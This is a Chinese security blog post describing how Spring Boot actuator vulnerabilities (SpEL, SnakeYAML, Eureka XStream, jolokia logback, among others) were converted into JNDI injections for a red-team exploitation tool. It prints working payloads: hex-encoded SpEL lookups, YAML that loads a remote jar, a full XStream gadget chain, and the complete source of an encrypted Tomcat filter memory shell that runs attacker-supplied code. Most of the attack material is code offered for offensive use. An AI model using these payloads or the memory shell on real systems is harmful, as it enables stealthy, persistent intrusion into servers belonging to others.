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原创 | Spring Boot RCE到内存马探索 (qq.com)
前言SpringBootVulExploit是Spring Boot漏洞Check list,但在真正的环境中进行漏洞利用还是有一段距离的,因此衍生出了SpringBootExploit工具。本文是对该Check list到内存马探索之路的记录。再此过程中学到了很多知识,收获了很多,感谢神父hl0rey对我指导,才有工具诞生。
本文内容是笔者在看雪大会上演讲的内容之一,本文应该在很早之前就发了,拖拖拉拉一直到现在。
漏洞归类Check list一共给出了十二种方法,我们首先归类一下,看有那些共同点。
- JNDI注入
- 0x04:jolokia logback JNDI RCE
- 0x05:jolokia Realm JNDI RCE
- 0x07:h2 database console JNDI RCE
- Restart
- 0x06:restart h2 database query RCE
- 0x09:restart logging.config logback JNDI RCE
- 0x0A:restart logging.config groovy RCE
- 0x0B:restart spring.main.sources groovy RCE
- 0x0C:restart spring.datasource.data h2 database RCE
- 其他
- 0x01:whitelabel error page SpEL RCE
- 0x02:spring cloud SnakeYAML RCE
- 0x03:eureka xstream deserialization RCE
- 0x08:mysql jdbc deserialization RCE
分类标准,第一类是都可以直接使用JNDI注入的,第二类是都会将目标环境重启启动的,第三类是无法直接利用JNDI注入的。
第一类第一类是最容易实现的JNDI内存马注入的,遇到的问题也是最少的。
第二类第二类是都需要对环境进行重启操作,在测试过程中很容易对环境造成不可逆的后果。所以对此并没有进行整合,未来也不会集成。
第三类第三类是无法直接利用JNDI,并且Check list说明里面都是反弹shell、弹计算器之类操作,这对于红队的是意义很小。
漏洞规范化写工具首先得每一个漏洞的Payload进行规范,目前支持所有的方式就是将第三类转化支持JNDI注入的方式。将第三类漏洞进行转化是繁琐的工作,每一个漏洞目前网上公开的文章都是基于check list编写的。
此过程中遇到很多问题,一度曾放弃几种方式。一开始设想过支持回显,但后来发现,反序列化执行操作都是用服务器发起了,无法做到回显,压根行不通。所有后面只做了内存马,目前只支持一种内存马后期会考虑支持更多类型的内存马。
whitelabel error page SpEL RCESpEL RCE 最大问题就是如何用一句话的方式实现JNDI的方式。在天下大木头的指导下我获得提示:
- javax.naming.InitialContext context = new InitialContext();
- context.lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3");
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根据上面尝试,在测试过程遇到莫名奇妙的一些问题。
- public class spel {
- public static void main(String[] args) {
- String poc = "new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()";
- String rmi = "T(javax.naming.InitialContext).lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3")";
- String ldap = "new javax.naming.InitialContext().lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3")";
- String calc = "T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{ 0x63,0x61,0x6c,0x63 }))";
- String poc2 = "java.lang.Class.forName("javax.naming.InitialContext").getMethod("lookup", String.class).invoke(Class.forName("javax.naming.InitialContext").newInstance(),"ldap://127.0.0.1:1389/basic/TomcatMemShell3")";
- SpelExpressionParser parser = new SpelExpressionParser();
- Expression expression = parser.parseExpression(rmi);
- StandardEvaluationContext context = new StandardEvaluationContext();
- expression.getValue(context);
- }
- }
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使用payload rmi时会报找不到lookup方法
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使用payload poc2也报错
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最终通过不断尝试payload ldap是有效。但这个漏洞利用方式没在工具里集成,是因为SpEL漏洞存在有很多种情况,无法做到考虑完全,如果你发现此漏洞可以用该工具生成Payload打。
- Payload 食用方法示例:http://127.0.0.1:9091/article?id=Payload
- ${new javax.naming.InitialContext().lookup(new String(new byte[]{ 0x6c,0x64,0x61,0x70,0x3a,0x2f,0x2f,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x31,0x33,0x38,0x39,0x2f,0x62,0x61,0x73,0x69,0x63,0x2f,0x54,0x6f,0x6d,0x63,0x61,0x74,0x4d,0x65,0x6d,0x53,0x68,0x65,0x6c,0x6c,0x33 }))}
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payload生成代码:
- public String SpelExpr(String cmd){
- String ldap = "${new javax.naming.InitialContext().lookup(new String(new byte[]{ ";
- StringBuilder sb = new StringBuilder();
- char[] ch = cmd.toCharArray();
- for (int i=0 ; i<ch.length; i++){
- sb.append("0x" + HexUtil.toHex(Integer.valueOf(ch[i]).intValue()));
- if (i != ch.length -1 ){
- sb.append(",");
- }
- }
- ldap += sb.append(" }))}").toString();
- System.out.println(ldap);
- return ldap;
- }
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spring cloud SnakeYAML RCESnakeYaml RCE处理的比较特殊,一开始尝试转化JNDI的方法测试失败。JNDI注入其实是可以的,后期成功,但有一个问题POST /refresh的时候会返回500,但注入是成功的(注入不成功也是,所以是无法很好的判断)。使用checklist中的jar方式返回是200。工具里面采用的是jar的方式,会判断是否注入成功。
直接JNDI注入的代码。
- String yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
- " dataSourceName: "ldap://127.0.0.1:1389/basic/TomcatMemShell3"\n" +
- " autoCommit: true";
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服务器远程加载jar,但这里有一个点,生成的jar要符合规范。和传统的打包方式不一样,这里要满足某种规范(具体忘记了)artsploit/yaml-payload Y4er/yaml-payload 这里给出两个项目参考生成包含内存马jar。
- String bytes = "!!javax.script.ScriptEngineManager [\n" +
- " !!java.net.URLClassLoader [[\n" +
- " !!java.net.URL ["http://127.0.0.1:3456/behinder3.jar"]\n" +
- " ]]\n" +
- "]\n";
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eureka xstream deserialization RCE
eureka xstream 反序列化漏洞本质是xstream反序列化漏洞,但有一点和传统XStream漏洞利用有区别的是,eureka处理不了hashmap。得重新构造EXP。
- This XStream payload is a slightly modified version of the ImageIO JDK-only gadget chain from the Marshalsec research. The only difference here is using LinkedHashSet to
- trigger the 'jdk.nashorn.internal.objects.NativeString.hashCode()'
- method. The original payload leverages java.lang.Map to achieve the same
- behaviour, but Eureka's XStream configuration has a custom converter for maps which
- makes it unusable. The payload above does not use Maps at all and can
- be used to achieve Remote Code Execution without additional constraints.
复制代码 在exploiting-spring-boot-actuators中写上面这段说明,大致意思就是eureka中不能使用hashmap,得替换成LinkedHashSet 。网上流传的XStream的payload都是基于hashmap的,原文给的payload以及check list的payload都是弹计算器,不能进一步的深入利用。如何构造转化成JNDI这一问题摆在我们面前,一开始踩了很多坑,后来发现YSOMAP里面集成了这个Payload。ysomap的使用方法大致类似于msf,如下图。
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但生成的payload得小改一下(将HashMap改成LinkedHashSet),经过多次测试最终成形的payload如下:
- <linked-hash-set>
- <jdk.nashorn.internal.objects.NativeString>
- <flags>0</flags>
- <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
- <dataHandler>
- <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
- <is class="javax.crypto.CipherInputStream">
- <cipher class="javax.crypto.NullCipher">
- <initialized>false</initialized>
- <opmode>0</opmode>
- <serviceIterator class="javax.imageio.spi.FilterIterator">
- <iter class="javax.imageio.spi.FilterIterator">
- <iter class="java.util.Collections$EmptyIterator"/>
- <next class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
- <javax.sql.rowset.BaseRowSet>
- <default>
- <concurrency>1008</concurrency>
- <escapeProcessing>true</escapeProcessing>
- <fetchDir>1000</fetchDir>
- <fetchSize>0</fetchSize>
- <isolation>2</isolation>
- <maxFieldSize>0</maxFieldSize>
- <maxRows>0</maxRows>
- <queryTimeout>0</queryTimeout>
- <readOnly>true</readOnly>
- <rowSetType>1004</rowSetType>
- <showDeleted>false</showDeleted>
- <dataSource>rmi://127.0.0.1:10990/Calc</dataSource>
- <listeners/>
- <params/>
- </default>
- </javax.sql.rowset.BaseRowSet>
- <com.sun.rowset.JdbcRowSetImpl>
- <default>
- <iMatchColumns>
- <int>-1</int>
- <int>-1</int>
- <int>-1</int>
- <int>-1</int>
- <int>-1</int>
- <int>-1</int>
- <int>-1</int>
- <int>-1</int>
- <int>-1</int>
- <int>-1</int>
- </iMatchColumns>
- <strMatchColumns>
- <null/>
- <null/>
- <null/>
- <null/>
- <null/>
- <null/>
- <null/>
- <null/>
- <null/>
- <null/>
- </strMatchColumns>
- </default>
- </com.sun.rowset.JdbcRowSetImpl>
- </next>
- </iter>
- <filter class="javax.imageio.ImageIO$ContainsFilter">
- <method>
- <class>com.sun.rowset.JdbcRowSetImpl</class>
- <name>getDatabaseMetaData</name>
- <parameter-types/>
- </method>
- <name>foo</name>
- </filter>
- <next class="string">foo</next>
- </serviceIterator>
- <lock/>
- </cipher>
- <input class="java.lang.ProcessBuilder$NullInputStream"/>
- <ibuffer></ibuffer>
- <done>false</done>
- <ostart>0</ostart>
- <ofinish>0</ofinish>
- <closed>false</closed>
- </is>
- <consumed>false</consumed>
- </dataSource>
- <transferFlavors/>
- </dataHandler>
- <dataLen>0</dataLen>
- </value>
- </jdk.nashorn.internal.objects.NativeString>
- <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
- <entry>
- <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
- <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
- </entry>
- </linked-hash-set>
复制代码 目前没有集成这个漏洞,因为服务器端要构造一个flask框架的服务端,内容包含上面的xml文件。
目前实现方式
- Java直接实现Flask框架 没有现成的方式(放弃)
- Java直接调用命令执行python文件(失败,Java调用Runtime和cmd直接调用是有区别的)
- 使用jython执行python文件,脚本依赖flask依赖。要加入flask目录(不符合需求)
mysql jdbc deserialization RCE此漏洞利用极其复杂,条件要求较多。
- 需要确认存在mysql驱动
- 版本需要5.x或者8.x
- 需要存在gadget依赖
- 记录原本的spring.datasource.url 的value,最后恢复
- 需要架设恶意rogue mysql server
成功率低,需要多,故目前没集成(后期可能会集成)。
jolokia logback JNDI RCEPayload
- String path = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + vps
- + ":3456!/a.xml";
复制代码- String bytes = "<configuration>\n <insertFromJNDI env-entry-name="ldap://" + Config.ip + ":1389/TomcatBypass/TomcatMemshell3" as="appName" />\n</configuration>";
复制代码
jolokia Realm JNDI RCE这个RCE利用方式和上面一个差不多,存在jolokia logback JNDI RCE大概率存在jolokia Realm JNDI RCE漏洞,这里就不详细展开。
h2 database console JNDI RCE 编辑
服务端所有的漏洞都是要使用JNDI和HTTP服务,如果每一个都是攻击者进行使用将漏洞Payload进行适配,这会使得攻击者使用成本和时间成本就大大增大了,这也不能达到一键化,自动化的目的。一个适配所有漏洞的服务端的工具就由此而生,在神父的帮助下,找到了项目JNDIExploit。
项目解决了大部分功能,以及框架等问题,这也使得工具很快的得到阶段性的进展。
工具需求:
1.处理客户端发送的Payload请求,返回对应内容。
以jolokia logback JNDI RCE类型为例:
客户端要请求xx.xml文件,返回如下内容
- <configuration>
- <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
- </configuration>
复制代码
2.定制内存马
和传统内存马注入有区别,JNDI是返回Class文件,直接实例化类。所以得定制化JNDI注入的内存马类文件,内存马源码如下。
- package com.feihong.ldap.template;
- import org.apache.catalina.LifecycleState;
- import org.apache.catalina.connector.Request;
- import org.apache.catalina.connector.Response;
- import org.apache.catalina.core.ApplicationContext;
- import org.apache.catalina.core.StandardContext;
- import org.apache.catalina.util.LifecycleBase;
- import org.apache.coyote.RequestInfo;
- import javax.crypto.Cipher;
- import javax.crypto.spec.SecretKeySpec;
- import javax.servlet.*;
- import javax.servlet.http.HttpServletRequest;
- import javax.servlet.http.HttpSession;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.Writer;
- import java.lang.reflect.Field;
- import java.lang.reflect.Method;
- import java.math.BigInteger;
- import java.security.MessageDigest;
- import java.util.EnumSet;
- import java.util.HashMap;
- import java.util.List;
- import java.util.Map;
- public class BehinderFilter extends ClassLoader implements Filter{
- public String cs = "UTF-8";
- // public String pwd = "eac9fa38330a7535";
- public String pwd = "02f2a5c80f47d495";
- public String path = "/ateam";
- public String filterName = "ateam666";
- public Request req = null;
- public Response resp = null;
- static {
- try {
- BehinderFilter behinderMemShell = new BehinderFilter();
- if (behinderMemShell.req != null && behinderMemShell.resp != null){
- behinderMemShell.addFilter();
- }
- } catch (Exception e){
- }
- }
- public Class g(byte[] b) {
- return super.defineClass(b, 0, b.length);
- }
- public String md5(String s) {
- String ret = null;
- try {
- MessageDigest m = MessageDigest.getInstance("MD5");
- m.update(s.getBytes(), 0, s.length());
- ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
- } catch (Exception var4) {
- }
- return ret;
- }
- public BehinderFilter() {
- this.setParams();
- }
- public BehinderFilter(ClassLoader c) {
- super(c);
- this.setParams();
- }
- public void setParams(){
- try {
- boolean flag = false;
- Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
- for (int i=0;i<threads.length;i++){
- Thread thread = threads[i];
- if (thread != null){
- String threadName = thread.getName();
- if (!threadName.contains("exec") && threadName.contains("http")){
- Object target = getField(thread,"target");
- Object global = null;
- if (target instanceof Runnable){
- try {
- global = getField(getField(getField(target,"this$0"),"handler"),"global");
- } catch (NoSuchFieldException fieldException){
- fieldException.printStackTrace();
- }
- }
- if (global != null){
- List processors = (List) getField(global,"processors");
- for (i=0;i<processors.size();i++){
- RequestInfo requestInfo = (RequestInfo) processors.get(i);
- if (requestInfo != null){
- org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) getField(requestInfo,"req");
- org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
- Response response = request.getResponse();
- this.req = request;
- this.resp = response;
- flag = true;
- break;
- }
- }
- }
- }
- }
- if (flag){
- break;
- }
- }
- } catch (Exception e){
- e.printStackTrace();
- }
- }
- public String addFilter() throws Exception {
- ServletContext servletContext = this.req.getServletContext();
- Filter filter = this;
- String filterName = this.filterName;
- String url = this.path;
- if (servletContext.getFilterRegistration(filterName) == null) {
- Field contextField = null;
- ApplicationContext applicationContext = null;
- StandardContext standardContext = null;
- Field stateField = null;
- FilterRegistration.Dynamic filterRegistration = null;
- String var11;
- try {
- contextField = servletContext.getClass().getDeclaredField("context");
- contextField.setAccessible(true);
- applicationContext = (ApplicationContext)contextField.get(servletContext);
- contextField = applicationContext.getClass().getDeclaredField("context");
- contextField.setAccessible(true);
- standardContext = (StandardContext)contextField.get(applicationContext);
- stateField = LifecycleBase.class.getDeclaredField("state");
- stateField.setAccessible(true);
- stateField.set(standardContext, LifecycleState.STARTING_PREP);
- filterRegistration = servletContext.addFilter(filterName, filter);
- filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
- Method filterStartMethod = StandardContext.class.getMethod("filterStart");
- filterStartMethod.setAccessible(true);
- filterStartMethod.invoke(standardContext, (Object[])null);
- stateField.set(standardContext, LifecycleState.STARTED);
- var11 = null;
- Class filterMap;
- try {
- filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
- } catch (Exception var22) {
- filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
- }
- Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
- Object[] filterMaps = (Object[])((Object[])((Object[])findFilterMaps.invoke(standardContext)));
- for(int i = 0; i < filterMaps.length; ++i) {
- Object filterMapObj = filterMaps[i];
- findFilterMaps = filterMap.getMethod("getFilterName");
- String name = (String)findFilterMaps.invoke(filterMapObj);
- if (name.equalsIgnoreCase(filterName)) {
- filterMaps[i] = filterMaps[0];
- filterMaps[0] = filterMapObj;
- }
- }
- String var25 = "Success";
- String var26 = var25;
- return var26;
- } catch (Exception var23) {
- var11 = var23.getMessage();
- } finally {
- stateField.set(standardContext, LifecycleState.STARTED);
- }
- return var11;
- } else {
- return "Filter already exists";
- }
- }
- public static Object getField(Object obj, String fieldName) throws Exception {
- Field f0 = null;
- Class clas = obj.getClass();
- while (clas != Object.class){
- try {
- f0 = clas.getDeclaredField(fieldName);
- break;
- } catch (NoSuchFieldException e){
- clas = clas.getSuperclass();
- }
- }
- if (f0 != null){
- f0.setAccessible(true);
- return f0.get(obj);
- }else {
- throw new NoSuchFieldException(fieldName);
- }
- }
- @Override
- public void init(FilterConfig filterConfig) throws ServletException {
- }
- @Override
- public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
- HttpSession session = ((HttpServletRequest)req).getSession();
- Map obj = new HashMap();
- obj.put("request", req);
- obj.put("response", resp);
- obj.put("session", session);
- try {
- session.putValue("u", this.pwd);
- Cipher c = Cipher.getInstance("AES");
- c.init(2, new SecretKeySpec(this.pwd.getBytes(), "AES"));
- (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
- } catch (Exception var7) {
- var7.printStackTrace();
- }
- }
- public byte[] base64Decode(String str) throws Exception {
- try {
- Class clazz = Class.forName("sun.misc.BASE64Decoder");
- return (byte[])((byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
- } catch (Exception var5) {
- Class clazz = Class.forName("java.util.Base64");
- Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
- return (byte[])((byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
- }
- }
- @Override
- public void destroy() {
- }
- }
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总结
可能是大多数人没有需求,或者是安全研究员没有打红队的原因。导致利用方式普遍都是以弹计算器为最终结果,不能进一步深入利用,导致很多漏洞不了了之。目前网上普遍分析文章,复现文章都是以弹计算器结束,但这其实与实战化的需求还存在着很远的一段路程。
写工具的时候遇到很多奇奇怪怪的问题,如果这些漏洞都能以高级漏洞利用的方式,或者不是执行命令但计算器的方式结束,其实会好很多。当然这些漏洞目前都是间接或者直接转化成JNDI的方式进行漏洞利用,这虽然也存在一定的局限性。但我觉得这是一个开端,后续有人肯定有跟多的奇思妙想的解决方案。
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